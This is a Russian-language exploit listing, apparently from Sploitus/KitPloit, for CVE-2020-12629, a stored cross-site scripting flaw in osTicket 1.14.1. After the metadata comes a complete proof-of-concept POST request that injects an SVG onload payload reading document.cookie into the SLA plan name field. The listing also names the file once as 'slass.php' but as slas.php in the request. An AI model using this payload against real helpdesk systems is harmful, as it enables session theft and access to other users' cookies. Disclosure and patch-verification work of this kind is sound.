Sploitus

Exploit for CVE-2020-12629

kitploit · 2026-09-01

Exploit Code

MARKDOWN37 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MKELEPCE-CVE-2020-12629
osTicket 1.14.1 - Межсайтовый скриптинг (XSS) с сохранением после аутентификации   
Автор: Mehmet Kelepce / Gais Cyber Security   
Дата: 2020-03-24   
Ссылка на источник: https://github.com/osticket/osticket/commit/fc4c8608fa122f38673b9dddcb8fef4a15a9c884   
CVE: https://vulners.com/cve/CVE-2020-12629   
Exploit-Db: https://www.exploit-db.com/exploits/48413   
Вендор: http://osticket.com   
Эксплуатируемость удаленно: Да   
Язык динамического кодирования: PHP   
Базовая оценка CVSSv3: 7.4 (AV:N, AC:L, PR:L, UI:N, S:C, C:L, I:L, A:L)   
  
данная уязвимость была найдена при анализе исходного кода.  
  
PoC: Название плана SLA тикета - HTTP POST-запрос  
\-----  
POST /upload/scp/slas.php?id=1 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,_/_ ;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/upload/scp/slas.php?id=1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 196  
Connection: close  
Cookie: cookie=3333; OSTSESSID=684d6hn7dfk869kupbhc9hq2qv  
Upgrade-Insecure-Requests: 1  
  
submit=Save+Changes&**CSRFToken** =6174a3343a6277b2e5faae240188d54624a756d7&do=update&a=&id=1&name=%3Csvg+onload%3Dconfirm%28document.cookie%29%3B%3E&isactive=1&grace_period=48&schedule_id=0&notes=  
  
Уязвимый параметр: name  
Файл параметра: /scp/slass.php  
  
Я использовал название SLA для любого тикета.  
  
Риск: получение информации о cookie-файлах целевого пользователя.